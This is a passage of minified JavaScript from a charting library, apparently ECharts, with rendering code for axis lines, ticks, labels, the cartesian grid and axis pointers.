p=F({lineCap:`round`},r.getModel([`axisLine`,`lineStyle`]).getLineStyle()),m={strokeContainThreshold:e.raw.strokeContainThreshold||5,silent:!0,z2:1,style:p};if(r.get([`axisLine`,`breakLine`])&&r.axis.scale.hasBreaks())TM().buildAxisBreakLine(r,i,a,m);else{var h=new fp(F({shape:{x1:u[0],y1:u[1],x2:d[0],y2:d[1]}},m));am(h.shape,h.style.lineWidth),h.anid=`line`,i.add(h)}var g=r.get([`axisLine`,`symbol`]);if(g!=null){var _=r.get([`axisLine`,`symbolSize`]);H(g)&&(g=[g,g]),(H(_)||ht(_))&&(_=[_,_]);var v=Hx(r.get([`axisLine`,`symbolOffset`])||0,_),y=_[0],b=_[1];L([{rotate:e.rotation+Math.PI/2,offset:v[0],r:0},{rotate:e.rotation-Math.PI/2,offset:v[1],r:Math.sqrt((u[0]-d[0])*(u[0]-d[0])+(u[1]-d[1])*(u[1]-d[1]))}],function(t,n){if(g[n]!==`none`&&g[n]!=null){var r=Bx(g[n],-y/2,-b/2,y,b,p.stroke,!0),a=t.r+t.offset,o=f?d:u;r.attr({rotation:t.rotate,x:o[0]+a*Math.cos(e.rotation),y:o[1]-a*Math.sin(e.rotation),silent:!0,z2:11}),i.add(r)}})}}},axisTickLabelEstimate:function(e,t,n,r,i,a,o,s){dN(t,i,s)&&rN(e,t,n,r,i,a,o,eD.estimate)},axisTickLabelDetermine:function(e,t,n,r,i,a,o,s){dN(t,i,s)&&rN(e,t,n,r,i,a,o,eD.determine);var c=lN(e,i,a,r);oN(e,t.labelLayoutList,c),uN(e,i,a,r,e.tickDirection)},axisName:function(e,t,n,r,i,a,o,s){var c=n.ensureRecord(r);t.nameEl&&=(i.remove(t.nameEl),c.nameLayout=c.nameLocation=null);var l=e.axisName;if(vN(l)){var u=e.nameLocation,d=e.nameDirection,f=r.getModel(`nameTextStyle`),p=r.get(`nameGap`)||0,m=r.axis.getExtent(),h=r.axis.inverse?-1:1,g=new q(0,0),_=new q(0,0);u===`start`?(g.x=m[0]-h*p,_.x=-h):u===`end`?(g.x=m[1]+h*p,_.x=h):(g.x=(m[0]+m[1])/2,g.y=e.labelOffset+d*p,_.y=d);var v=Bn();_.transform(Gn(v,v,e.rotation));var y=r.get(`nameRotate`);y!=null&&(y=y*HM/180);var b,x;jE(u)?b=eN.innerTextLayout(e.rotation,y??e.rotation,d):(b=iN(e.rotation,u,y||0,m),x=e.raw.axisNameAvailableWidth,x!=null&&(x=Math.abs(x/Math.sin(b.rotation)),!isFinite(x)&&(x=null)));var S=f.getFont(),C=r.get(`nameTruncate`,!0)||{},w=C.ellipsis,T=Ct(e.raw.nameTruncateMaxWidth,C.maxWidth,x),E=s.nameMarginLevel||0,D=new Hu({x:g.x,y:g.y,rotation:b.rotation,silent:eN.isLabelSilent(r),style:Bm(f,{text:l,font:S,overflow:`truncate`,width:T,ellipsis:w,fill:f.getTextColor()||r.get([`axisLine`,`lineStyle`,`color`]),align:f.get(`align`)||b.textAlign,verticalAlign:f.get(`verticalAlign`)||b.textVerticalAlign}),z2:1});if(wm({el:D,componentModel:r,itemName:l}),D.__fullText=l,D.anid=`name`,r.get(`triggerEvent`)){var O=eN.makeAxisEventDataBase(r);O.targetType=`axisName`,O.name=l,Z(D).eventData=O}a.add(D),D.updateTransform(),t.nameEl=D;var k=c.nameLayout=tO({label:D,priority:D.z2,defaultAttr:{ignore:D.ignore},marginDefault:jE(u)?UM[E]:WM[E]});if(c.nameLocation=u,i.add(D),D.decomposeTransform(),e.shouldNameMoveOverlap&&k){var A=n.ensureRecord(r);n.resolveAxisNameOverlap(e,n,r,k,_,A)}}}};function rN(e,t,n,r,i,a,o,s){pN(t)||fN(e,t,i,s,r,o);var c=t.labelLayoutList;hN(e,r,c,a),bN(r,e.rotation,c);var l=e.optionHideOverlap;aN(r,c,l),l&&uO(lt(c,function(e){return e&&!e.label.ignore})),JM(e,n,r,c)}function iN(e,t,n,r){var i=hs(n-e),a,o,s=r[0]>r[1],c=t===`start`&&!s||t!==`start`&&s;return gs(i-HM/2)?(o=c?`bottom`:`top`,a=`center`):gs(i-HM*1.5)?(o=c?`top`:`bottom`,a=`center`):(o=`middle`,a=i<HM*1.5&&i>HM/2?c?`left`:`right`:c?`right`:`left`),{rotation:i,textAlign:a,textVerticalAlign:o}}function aN(e,t,n){if(OE(e.axis))return;function r(e,r,i){var a=tO(t[r]),o=tO(t[i]);if(!(!a||!o)){if(e===!1||a.suggestIgnore){sN(a.label);return}if(o.suggestIgnore){sN(o.label);return}var s=.1;if(!n){var c=[0,0,0,0];a=oO({marginForce:c},a),o=oO({marginForce:c},o)}dO(a,o,null,{touchThreshold:s})&&sN(e?o.label:a.label)}}var i=e.get([`axisLabel`,`showMinLabel`]),a=e.get([`axisLabel`,`showMaxLabel`]),o=t.length;r(i,0,1),r(a,o-1,o-2)}function oN(e,t,n){e.showMinorTicks||L(t,function(e){if(e&&e.label.ignore)for(var t=0;t<n.length;t++){var r=n[t],i=KM(r),a=GM(e.label);if(i.tickValue!=null&&!i.onBand&&i.tickValue===a.tickValue){sN(r);return}}})}function sN(e){e&&(e.ignore=!0)}function cN(e,t,n,r,i){for(var a=[],o=[],s=[],c=0;c<e.length;c++){var l=e[c].coord;o[0]=l,o[1]=0,s[0]=l,s[1]=n,t&&(rn(o,o,t),rn(s,s,t));var u=new fp({shape:{x1:o[0],y1:o[1],x2:s[0],y2:s[1]},style:r,z2:2,autoBatch:!0,silent:!0});am(u.shape,u.style.lineWidth),u.anid=i+`_`+e[c].tickValue,a.push(u);var d=KM(u);d.onBand=!!e[c].onBand,d.tickValue=e[c].tickValue}return a}function lN(e,t,n,r){var i=r.axis,a=r.getModel(`axisTick`),o=a.get(`show`);if(o===`auto`&&(o=!0,e.raw.axisTickAutoShow!=null&&(o=!!e.raw.axisTickAutoShow)),!o||i.scale.isBlank())return[];for(var s=a.getModel(`lineStyle`),c=e.tickDirection*a.get(`length`),l=cN(i.getTicksCoords(),n.transform,c,I(s.getLineStyle(),{stroke:r.get([`axisLine`,`lineStyle`,`color`])}),`ticks`),u=0;u<l.length;u++)t.add(l[u]);return l}function uN(e,t,n,r,i){var a=r.axis,o=r.getModel(`minorTick`);if(!(!e.showMinorTicks||a.scale.isBlank())){var s=a.getMinorTicksCoords();if(s.length)for(var c=o.getModel(`lineStyle`),l=i*o.get(`length`),u=I(c.getLineStyle(),I(r.getModel(`axisTick`).getLineStyle(),{stroke:r.get([`axisLine`,`lineStyle`,`color`])})),d=0;d<s.length;d++)for(var f=cN(s[d],n.transform,l,u,`minorticks_`+d),p=0;p<f.length;p++)t.add(f[p])}}function dN(e,t,n){if(pN(e)){var r=e.axisLabelsCreationContext.out.noPxChangeTryDetermine;if(n.noPxChange){for(var i=!0,a=0;a<r.length;a++)i&&=r[a]();if(i)return!1}r.length&&(t.remove(e.labelGroup),mN(e,null,null,null))}return!0}function fN(e,t,n,r,i,a){var o=i.axis,s=Ct(e.raw.axisLabelShow,i.get([`axisLabel`,`show`])),c=new Y;n.add(c);var l=tD(r);if(!s||o.scale.isBlank()){mN(t,[],c,l);return}var u=i.getModel(`axisLabel`),d=o.getViewLabels(l),f=(Ct(e.raw.labelRotate,u.get(`rotate`))||0)*HM/180,p=eN.innerTextLayout(e.rotation,f,e.labelDirection),m=i.getCategories&&i.getCategories(!0),h=[],g=i.get(`triggerEvent`),_=1/0,v=-1/0;L(d,function(e,t){var n=o.scale.type===`ordinal`?o.scale.getRawOrdinalNumber(e.tickValue):e.tickValue,r=e.formattedLabel,s=e.rawLabel,l=u;if(m&&m[n]){var f=m[n];U(f)&&f.textStyle&&(l=new lh(f.textStyle,u,i.ecModel))}var y=l.getTextColor()||i.get([`axisLine`,`lineStyle`,`color`]),b=l.getShallow(`align`,!0)||p.textAlign,x=W(l.getShallow(`alignMinLabel`,!0),b),S=W(l.getShallow(`alignMaxLabel`,!0),b),C=l.getShallow(`verticalAlign`,!0)||l.getShallow(`baseline`,!0)||p.textVerticalAlign,w=W(l.getShallow(`verticalAlignMinLabel`,!0),C),T=W(l.getShallow(`verticalAlignMaxLabel`,!0),C),E=10+(e.time?.level||0);_=Math.min(_,E),v=Math.max(v,E);var D=new Hu({x:0,y:0,rotation:0,silent:eN.isLabelSilent(i),z2:E,style:Bm(l,{text:r,align:t===0?x:t===d.length-1?S:b,verticalAlign:t===0?w:t===d.length-1?T:C,fill:V(y)?y(o.type===`category`?s:o.type===`value`?n+``:n,t):y})});D.anid=`label_`+n;var O=GM(D);if(O.break=e.break,O.tickValue=n,O.layoutRotation=p.rotation,wm({el:D,componentModel:i,itemName:r,formatterParamsExtra:{isTruncated:function(){return D.isTruncated},value:s,tickIndex:t}}),g){var k=eN.makeAxisEventDataBase(i);k.targetType=`axisLabel`,k.value=s,k.tickIndex=t,e.break&&(k.break={start:e.break.parsedBreak.vmin,end:e.break.parsedBreak.vmax}),o.type===`category`&&(k.dataIndex=n),Z(D).eventData=k,e.break&&yN(i,a,D,e.break)}h.push(D),c.add(D)}),mN(t,R(h,function(e){return{label:e,priority:GM(e).break?e.z2+(v-_+1):e.z2,defaultAttr:{ignore:e.ignore}}}),c,l)}function pN(e){return!!e.labelLayoutList}function mN(e,t,n,r){e.labelLayoutList=t,e.labelGroup=n,e.axisLabelsCreationContext=r}function hN(e,t,n,r){var i=t.get([`axisLabel`,`margin`]);L(n,function(n,a){var o=tO(n);if(o){var s=o.label,c=GM(s);o.suggestIgnore=s.ignore,s.ignore=!1,mo(gN,_N),gN.x=t.axis.dataToCoord(c.tickValue),gN.y=e.labelOffset+e.labelDirection*i,gN.rotation=c.layoutRotation,r.add(gN),gN.updateTransform(),r.remove(gN),gN.decomposeTransform(),mo(s,gN),s.markRedraw(),$D(o,!0),tO(o)}})}var gN=new Lu,_N=new Lu;function vN(e){return!!e}function yN(e,t,n,r){n.on(`click`,function(n){var i={type:NM,breaks:[{start:r.parsedBreak.breakOption.start,end:r.parsedBreak.breakOption.end}]};i[e.axis.dim+`AxisIndex`]=e.componentIndex,t.dispatchAction(i)})}function bN(e,t,n){var r=kh();if(r){var i=r.retrieveAxisBreakPairs(n,function(e){return e&&GM(e.label).break},!0),a=e.get([`breakLabelLayout`,`moveOverlap`],!0);(a===!0||a===`auto`)&&L(i,function(r){TM().adjustBreakLabelPair(e.axis.inverse,t,[tO(n[r[0]]),tO(n[r[1]])])})}}function xN(e,t,n){n||={};var r=t.axis,i={},a=r.getAxesOnZeroOf()[0],o=r.position,s=a?`onZero`:o,c=r.dim,l=[e.x,e.x+e.width,e.y,e.y+e.height],u={left:0,right:1,top:0,bottom:1,onZero:2},d=t.get(`offset`)||0,f=c===`x`?[l[2]-d,l[3]+d]:[l[0]-d,l[1]+d];if(a){var p=a.toGlobalCoord(a.dataToCoord(0));f[u.onZero]=Math.max(Math.min(p,f[1]),f[0])}i.position=[c===`y`?f[u[s]]:l[0],c===`x`?f[u[s]]:l[3]],i.rotation=Math.PI/2*(c===`x`?0:1),i.labelDirection=i.tickDirection=i.nameDirection={top:-1,bottom:1,left:-1,right:1}[o],i.labelOffset=a?f[u[o]]-f[u.onZero]:0,t.get([`axisTick`,`inside`])&&(i.tickDirection=-i.tickDirection),Ct(n.labelInside,t.get([`axisLabel`,`inside`]))&&(i.labelDirection=-i.labelDirection);var m=t.get([`axisLabel`,`rotate`]);return i.labelRotate=s===`top`?-m:m,i.z2=1,i}function SN(e){return e.coordinateSystem&&e.coordinateSystem.type===`cartesian2d`}function CN(e){var t={xAxisModel:null,yAxisModel:null};return L(t,function(n,r){var i=r.replace(/Model$/,``);t[r]=e.getReferringComponents(i,uc).models[0]}),t}function wN(e,t,n,r,i,a){for(var o=xN(e,n),s=!1,c=!1,l=0;l<t.length;l++)hT(t[l].getOtherAxis(n.axis).scale)&&(s=c=!0,n.axis.type===`category`&&n.axis.onBand&&(c=!1));return o.axisLineAutoShow=s,o.axisTickAutoShow=c,o.defaultNameMoveOverlap=a,new eN(n,r,o,i)}function TN(e,t,n){var r=xN(t,n);e.updateCfg(r)}function EN(e,t,n){var r=MT.prototype,i=r.getTicks.call(n),a=r.getTicks.call(n,{expandToNicedExtent:!0}),o=i.length-1,s=r.getInterval.call(n),c=bE(e,t),l=c.extent,u=c.fixMin,d=c.fixMax;e.type===`log`&&(l=TT(e.base,l,!0)),e.setBreaksFromOption(NE(t)),e.setExtent(l[0],l[1]),e.calcNiceExtent({splitNumber:o,fixMin:u,fixMax:d});var f=r.getExtent.call(e);u&&(l[0]=f[0]),d&&(l[1]=f[1]);var p=r.getInterval.call(e),m=l[0],h=l[1];if(u&&d)p=(h-m)/o;else if(u)for(h=l[0]+p*o;h<l[1]&&isFinite(h)&&isFinite(l[1]);)p=_T(p),h=l[0]+p*o;else if(d)for(m=l[1]-p*o;m>l[0]&&isFinite(m)&&isFinite(l[0]);)p=_T(p),m=l[1]-p*o;else{e.getTicks().length-1>o&&(p=_T(p));var g=p*o;h=Math.ceil(l[1]/p)*p,m=cs(h-g),m<0&&l[0]>=0?(m=0,h=cs(g)):h>0&&l[1]<=0&&(h=0,m=-cs(g))}var _=(i[0].value-a[0].value)/s,v=(i[o].value-a[o].value)/s;r.setExtent.call(e,m+p*_,h+p*v),r.setInterval.call(e,p),(_||v)&&r.setNiceExtent.call(e,m+p,h-p)}var DN=[[3,1],[0,2]],ON=function(){function e(e,t,n){this.type=`grid`,this._coordsMap={},this._coordsList=[],this._axesMap={},this._axesList=[],this.axisPointerEnabled=!0,this.dimensions=kM,this._initCartesian(e,t,n),this.model=e}return e.prototype.getRect=function(){return this._rect},e.prototype.update=function(e,t){var n=this._axesMap;this._updateScale(e,this.model);function r(e){var t,n=dt(e),r=n.length;if(r){for(var i=[],a=r-1;a>=0;a--){var o=e[+n[a]],s=o.model,c=o.scale;hT(c)&&s.get(`alignTicks`)&&s.get(`interval`)==null?i.push(o):(SE(c,s),hT(c)&&(t=o))}i.length&&(t||(t=i.pop(),SE(t.scale,t.model)),L(i,function(e){EN(e.scale,e.model,t.scale)}))}}r(n.x),r(n.y);var i={};L(n.x,function(e){AN(n,`y`,e,i)}),L(n.y,function(e){AN(n,`x`,e,i)}),this.resize(this.model,t)},e.prototype.resize=function(e,t,n){var r=Kg(e,t),i=this._rect=Ug(e.getBoxLayoutParams(),r.refContainer),a=this._axesMap,o=this._coordsList,s=e.get(`containLabel`);if(NN(a,i),!n){var c=RN(i,o,a,s,t),l=void 0;if(s)FN?(FN(this._axesList,i),NN(a,i)):l=LN(i.clone(),`axisLabel`,null,i,a,c,r);else{var u=BN(e,i,r),d=u.outerBoundsRect,f=u.parsedOuterBoundsContain,p=u.outerBoundsClamp;d&&(l=LN(d,f,p,i,a,c,r))}zN(i,a,eD.determine,null,l,r)}L(this._coordsList,function(e){e.calcAffineTransform()})},e.prototype.getAxis=function(e,t){var n=this._axesMap[e];if(n!=null)return n[t||0]},e.prototype.getAxes=function(){return this._axesList.slice()},e.prototype.getCartesian=function(e,t){if(e!=null&&t!=null){var n=`x`+e+`y`+t;return this._coordsMap[n]}U(e)&&(t=e.yAxisIndex,e=e.xAxisIndex);for(var r=0,i=this._coordsList;r<i.length;r++)if(i[r].getAxis(`x`).index===e||i[r].getAxis(`y`).index===t)return i[r]},e.prototype.getCartesians=function(){return this._coordsList.slice()},e.prototype.convertToPixel=function(e,t,n){var r=this._findConvertTarget(t);return r.cartesian?r.cartesian.dataToPoint(n):r.axis?r.axis.toGlobalCoord(r.axis.dataToCoord(n)):null},e.prototype.convertFromPixel=function(e,t,n){var r=this._findConvertTarget(t);return r.cartesian?r.cartesian.pointToData(n):r.axis?r.axis.coordToData(r.axis.toLocalCoord(n)):null},e.prototype._findConvertTarget=function(e){var t=e.seriesModel,n=e.xAxisModel||t&&t.getReferringComponents(`xAxis`,uc).models[0],r=e.yAxisModel||t&&t.getReferringComponents(`yAxis`,uc).models[0],i=e.gridModel,a=this._coordsList,o,s;return t?(o=t.coordinateSystem,it(a,o)<0&&(o=null)):n&&r?o=this.getCartesian(n.componentIndex,r.componentIndex):n?s=this.getAxis(`x`,n.componentIndex):r?s=this.getAxis(`y`,r.componentIndex):i&&i.coordinateSystem===this&&(o=this._coordsList[0]),{cartesian:o,axis:s}},e.prototype.containPoint=function(e){var t=this._coordsList[0];if(t)return t.containPoint(e)},e.prototype._initCartesian=function(e,t,n){var r=this,i=this,a={left:!1,right:!1,top:!1,bottom:!1},o={x:{},y:{}},s={x:0,y:0};if(t.eachComponent(`xAxis`,c(`x`),this),t.eachComponent(`yAxis`,c(`y`),this),!s.x||!s.y){this._axesMap={},this._axesList=[];return}this._axesMap=o,L(o.x,function(t,n){L(o.y,function(i,a){var o=`x`+n+`y`+a,s=new jM(o);s.master=r,s.model=e,r._coordsMap[o]=s,r._coordsList.push(s),s.addAxis(t),s.addAxis(i)})});function c(t){return function(n,r){if(kN(n,e)){var c=n.get(`position`);t===`x`?c!==`top`&&c!==`bottom`&&(c=a.bottom?`top`:`bottom`):c!==`left`&&c!==`right`&&(c=a.left?`right`:`left`),a[c]=!0;var l=new MM(t,CE(n),[0,0],n.get(`type`),c);l.onBand=l.type===`category`&&n.get(`boundaryGap`),l.inverse=n.get(`inverse`),n.axis=l,l.model=n,l.grid=i,l.index=r,i._axesList.push(l),o[t][r]=l,s[t]++}}}},e.prototype._updateScale=function(e,t){L(this._axesList,function(e){if(e.scale.setExtent(1/0,-1/0),e.type===`category`){var t=e.model.get(`categorySortInfo`);e.scale.setSortInfo(t)}}),e.eachSeries(function(e){if(SN(e)){var r=CN(e),i=r.xAxisModel,a=r.yAxisModel;if(!kN(i,t)||!kN(a,t))return;var o=this.getCartesian(i.componentIndex,a.componentIndex),s=e.getData(),c=o.getAxis(`x`),l=o.getAxis(`y`);n(s,c),n(s,l)}},this);function n(e,t){L(kE(e,t.dim),function(n){t.scale.unionExtentFromData(e,n)})}},e.prototype.getTooltipAxes=function(e){var t=[],n=[];return L(this.getCartesians(),function(r){var i=e!=null&&e!==`auto`?r.getAxis(e):r.getBaseAxis(),a=r.getOtherAxis(i);it(t,i)<0&&t.push(i),it(n,a)<0&&n.push(a)}),{baseAxes:t,otherAxes:n}},e.create=function(t,n){var r=[];return t.eachComponent(`grid`,function(i,a){var o=new e(i,t,n);o.name=`grid_`+a,o.resize(i,n,!0),i.coordinateSystem=o,r.push(o)}),t.eachSeries(function(e){Ng({targetModel:e,coordSysType:`cartesian2d`,coordSysProvider:t});function t(){var t=CN(e),n=t.xAxisModel,r=t.yAxisModel;return n.getCoordSysModel().coordinateSystem.getCartesian(n.componentIndex,r.componentIndex)}}),r},e.dimensions=kM,e}();function kN(e,t){return e.getCoordSysModel()===t}function AN(e,t,n,r){n.getAxesOnZeroOf=function(){return a?[a]:[]};var i=e[t],a,o=n.model,s=o.get([`axisLine`,`onZero`]),c=o.get([`axisLine`,`onZeroAxisIndex`]);if(!s)return;if(c!=null)jN(i[c])&&(a=i[c]);else for(var l in i)if(i.hasOwnProperty(l)&&jN(i[l])&&!r[u(i[l])]){a=i[l];break}a&&(r[u(a)]=!0);function u(e){return e.dim+`_`+e.index}}function jN(e){return e&&e.type!==`category`&&e.type!==`time`&&wE(e)}function MN(e,t){var n=e.getExtent(),r=n[0]+n[1];e.toGlobalCoord=e.dim===`x`?function(e){return e+t}:function(e){return r-e+t},e.toLocalCoord=e.dim===`x`?function(e){return e-t}:function(e){return r-e+t}}function NN(e,t){L(e.x,function(e){return PN(e,t.x,t.width)}),L(e.y,function(e){return PN(e,t.y,t.height)})}function PN(e,t,n){var r=[0,n],i=+!!e.inverse;e.setExtent(r[i],r[1-i]),MN(e,t)}var FN;function IN(e){FN=e}function LN(e,t,n,r,i,a,o){zN(r,i,eD.estimate,t,!1,o);var s=[0,0,0,0];l(0),l(1),u(r,0,NaN),u(r,1,NaN);var c=ut(s,function(e){return e>0})==null;return xm(r,s,!0,!0,n),NN(i,r),c;function l(e){L(i[qp[e]],function(t){if(ME(t.model)){var n=a.ensureRecord(t.model),r=n.labelInfoList;if(r)for(var i=0;i<r.length;i++){var o=r[i],s=t.scale.normalize(GM(o.label).tickValue);s=e===1?1-s:s,u(o.rect,e,s),u(o.rect,1-e,NaN)}var c=n.nameLayout;if(c){var s=jE(n.nameLocation)?.5:NaN;u(c.rect,e,s),u(c.rect,1-e,NaN)}}})}function u(t,n,r){var i=e[qp[n]]-t[qp[n]],a=t[Jp[n]]+t[qp[n]]-(e[Jp[n]]+e[qp[n]]);i=d(i,1-r),a=d(a,r);var o=DN[n][0],c=DN[n][1];s[o]=rs(s[o],i),s[c]=rs(s[c],a)}function d(e,t){return e>0&&!St(t)&&t>1e-4&&(e/=t),e}}function RN(e,t,n,r,i){var a=new qM(VN);return L(n,function(n){return L(n,function(n){if(ME(n.model)){var o=!r;n.axisBuilder=wN(e,t,n.model,i,a,o)}})}),a}function zN(e,t,n,r,i,a){var o=n===eD.determine;L(t,function(t){return L(t,function(t){ME(t.model)&&(TN(t.axisBuilder,e,t.model),t.axisBuilder.build(o?{axisTickLabelDetermine:!0}:{axisTickLabelEstimate:!0},{noPxChange:i}))})});var s={x:0,y:0};c(0),c(1);function c(t){s[qp[1-t]]=e[Jp[t]]<=a.refContainer[Jp[t]]*.5?0:1-t==1?2:1}L(t,function(e,t){return L(e,function(e){ME(e.model)&&((r===`all`||o)&&e.axisBuilder.build({axisName:!0},{nameMarginLevel:s[t]}),o&&e.axisBuilder.build({axisLine:!0}))})})}function BN(e,t,n){var r,i=e.get(`outerBoundsMode`,!0);i===`same`?r=t.clone():(i==null||i===`auto`)&&(r=Ug(e.get(`outerBounds`,!0)||mM,n.refContainer));var a=e.get(`outerBoundsContain`,!0),o=a==null||a===`auto`||it([`all`,`axisLabel`],a)<0?`all`:a,s=[ss(W(e.get(`outerBoundsClampWidth`,!0),hM[0]),t.width),ss(W(e.get(`outerBoundsClampHeight`,!0),hM[1]),t.height)];return{outerBoundsRect:r,parsedOuterBoundsContain:o,outerBoundsClamp:s}}var VN=function(e,t,n,r,i,a){var o=n.axis.dim===`x`?`y`:`x`;ZM(e,t,n,r,i,a),jE(e.nameLocation)||L(t.recordMap[o],function(e){e&&e.labelInfoList&&e.dirVec&&$M(e.labelInfoList,e.dirVec,r,i)})};function HN(e,t){var n={axesInfo:{},seriesInvolved:!1,coordSysAxesInfo:{},coordSysMap:{}};return UN(n,e,t),n.seriesInvolved&&GN(n,e),n}function UN(e,t,n){var r=t.getComponent(`tooltip`),i=t.getComponent(`axisPointer`),a=i.get(`link`,!0)||[],o=[];L(n.getCoordinateSystems(),function(n){if(!n.axisPointerEnabled)return;var s=QN(n.model),c=e.coordSysAxesInfo[s]={};e.coordSysMap[s]=n;var l=n.model.getModel(`tooltip`,r);if(L(n.getAxes(),pt(p,!1,null)),n.getTooltipAxes&&r&&l.get(`show`)){var u=l.get(`trigger`)===`axis`,d=l.get([`axisPointer`,`type`])===`cross`,f=n.getTooltipAxes(l.get([`axisPointer`,`axis`]));(u||d)&&L(f.baseAxes,pt(p,d?`cross`:!0,u)),d&&L(f.otherAxes,pt(p,`cross`,!1))}function p(r,s,u){var d=u.model.getModel(`axisPointer`,i),f=d.get(`show`);if(!(!f||f===`auto`&&!r&&!ZN(d))){s??=d.get(`triggerTooltip`),d=r?WN(u,l,i,t,r,s):d;var p=d.get(`snap`),m=d.get(`triggerEmphasis`),h=QN(u.model),g=s||p||u.type===`category`,_=e.axesInfo[h]={key:h,axis:u,coordSys:n,axisPointerModel:d,triggerTooltip:s,triggerEmphasis:m,involveSeries:g,snap:p,useHandle:ZN(d),seriesModels:[],linkGroup:null};c[h]=_,e.seriesInvolved=e.seriesInvolved||g;var v=KN(a,u);if(v!=null){var y=o[v]||(o[v]={axesInfo:{}});y.axesInfo[h]=_,y.mapper=a[v].mapper,_.linkGroup=y}}}})}function WN(e,t,n,r,i,a){var o=t.getModel(`axisPointer`),s=[`type`,`snap`,`lineStyle`,`shadowStyle`,`label`,`animation`,`animationDurationUpdate`,`animationEasingUpdate`,`z`],c={};L(s,function(e){c[e]=P(o.get(e))}),c.snap=e.type!==`category`&&!!a,o.get(`type`)===`cross`&&(c.type=`line`);var l=c.label||={};if(l.show??=!1,i===`cross`&&(l.show=o.get([`label`,`show`])??!0,!a)){var u=c.lineStyle=o.get(`crossStyle`);u&&I(l,u.textStyle)}return e.model.getModel(`axisPointer`,new lh(c,n,r))}function GN(e,t){t.eachSeries(function(t){var n=t.coordinateSystem,r=t.get([`tooltip`,`trigger`],!0),i=t.get([`tooltip`,`show`],!0);!n||!n.model||r===`none`||r===!1||r===`item`||i===!1||t.get([`axisPointer`,`show`],!0)===!1||L(e.coordSysAxesInfo[QN(n.model)],function(e){var r=e.axis;n.getAxis(r.dim)===r&&(e.seriesModels.push(t),e.seriesDataCount??=0,e.seriesDataCount+=t.getData().count())})})}function KN(e,t){for(var n=t.model,r=t.dim,i=0;i<e.length;i++){var a=e[i]||{};if(qN(a[r+`AxisId`],n.id)||qN(a[r+`AxisIndex`],n.componentIndex)||qN(a[r+`AxisName`],n.name))return i}}function qN(e,t){return e===`all`||B(e)&&it(e,t)>=0||e===t}function JN(e){var t=YN(e);if(t){var n=t.axisPointerModel,r=t.axis.scale,i=n.option,a=n.get(`status`),o=n.get(`value`);o!=null&&(o=r.parse(o));var s=ZN(n);a??(i.status=s?`show`:`hide`);var c=r.getExtent().slice();c[0]>c[1]&&c.reverse(),(o==null||o>c[1])&&(o=c[1]),o<c[0]&&(o=c[0]),i.value=o,s&&(i.status=t.axis.scale.isBlank()?`hide`:`show`)}}function YN(e){var t=(e.ecModel.getComponent(`axisPointer`)||{}).coordSysAxesInfo;return t&&t.axesInfo[QN(e)]}function XN(e){var t=YN(e);return t&&t.axisPointerModel}function ZN(e){return!!e.get([`handle`,`show`])}function QN(e){return e.type+`||`+e.id}var $N={},eP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(t,n,r,i){this.axisPointerClass&&JN(t),e.prototype.render.apply(this,arguments),this._doUpdateAxisPointerClass(t,r,!0)},t.prototype.updateAxisPointer=function(e,t,n,r){this._doUpdateAxisPointerClass(e,n,!1)},t.prototype.remove=function(e,t){var n=this._axisPointer;n&&n.remove(t)},t.prototype.dispose=function(t,n){this._disposeAxisPointer(n),e.prototype.dispose.apply(this,arguments)},t.prototype._doUpdateAxisPointerClass=function(e,n,r){var i=t.getAxisPointerClass(this.axisPointerClass);if(i){var a=XN(e);a?(this._axisPointer||=new i).render(e,a,n,r):this._disposeAxisPointer(n)}},t.prototype._disposeAxisPointer=function(e){this._axisPointer&&this._axisPointer.dispose(e),this._axisPointer=null},t.registerAxisPointerClass=function(e,t){$N[e]=t},t.getAxisPointerClass=function(e){return e&&$N[e]},t.type=`axis`,t}(Eb),tP=oc();function nP(e,t,n,r){var i=n.axis;if(!i.scale.isBlank()){var a=n.getModel(`splitArea`),o=a.getModel(`areaStyle`),s=o.get(`color`),c=r.coordinateSystem.getRect(),l=i.getTicksCoords({tickModel:a,clamp:!0,breakTicks:`none`,pruneByBreak:`preserve_extent_bound`});if(l.length){var u=s.length,d=tP(e).splitAreaColors,f=G(),p=0;if(d)for(var m=0;m<l.length;m++){var h=d.get(l[m].tickValue);if(h!=null){p=(h+(u-1)*m)%u;break}}var g=i.toGlobalCoord(l[0].coord),_=o.getAreaStyle();s=B(s)?s:[s];for(var m=1;m<l.length;m++){var v=i.toGlobalCoord(l[m].coord),y=void 0,b=void 0,x=void 0,S=void 0;i.isHorizontal()?(y=g,b=c.y,x=v-y,S=c.height,g=y+x):(y=c.x,b=g,x=c.width,S=v-b,g=b+S);var C=l[m-1].tickValue;C!=null&&f.set(C,p),t.add(new Lu({anid:C==null?null:`area_`+C,shape:{x:y,y:b,width:x,height:S},style:I({fill:s[p]},_),autoBatch:!0,silent:!0})),p=(p+1)%u}tP(e).splitAreaColors=f}}}function rP(e){tP(e).splitAreaColors=null}var iP=[`splitArea`,`splitLine`,`minorSplitLine`,`breakArea`],aP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.axisPointerClass=`CartesianAxisPointer`,n}return t.prototype.render=function(t,n,r,i){this.group.removeAll();var a=this._axisGroup;this._axisGroup=new Y,this.group.add(this._axisGroup),ME(t)&&(this._axisGroup.add(t.axis.axisBuilder.group),L(iP,function(e){t.get([e,`show`])&&oP[e](this,this._axisGroup,t,t.getCoordSysModel(),r)},this),i&&i.type===`changeAxisOrder`&&i.isInitSort||pm(a,this._axisGroup,t),e.prototype.render.call(this,t,n,r,i))},t.prototype.remove=function(){rP(this)},t.type=`cartesianAxis`,t}(eP),oP={splitLine:function(e,t,n,r,i){var a=n.axis;if(!a.scale.isBlank()){var o=n.getModel(`splitLine`),s=o.getModel(`lineStyle`),c=s.get(`color`),l=o.get(`showMinLine`)!==!1,u=o.get(`showMaxLine`)!==!1;c=B(c)?c:[c];for(var d=r.coordinateSystem.getRect(),f=a.isHorizontal(),p=0,m=a.getTicksCoords({tickModel:o,breakTicks:`none`,pruneByBreak:`preserve_extent_bound`}),h=[],g=[],_=s.getLineStyle(),v=0;v<m.length;v++){var y=a.toGlobalCoord(m[v].coord);if(!(v===0&&!l||v===m.length-1&&!u)){var b=m[v].tickValue;f?(h[0]=y,h[1]=d.y,g[0]=y,g[1]=d.y+d.height):(h[0]=d.x,h[1]=y,g[0]=d.x+d.width,g[1]=y);var x=p++%c.length,S=new 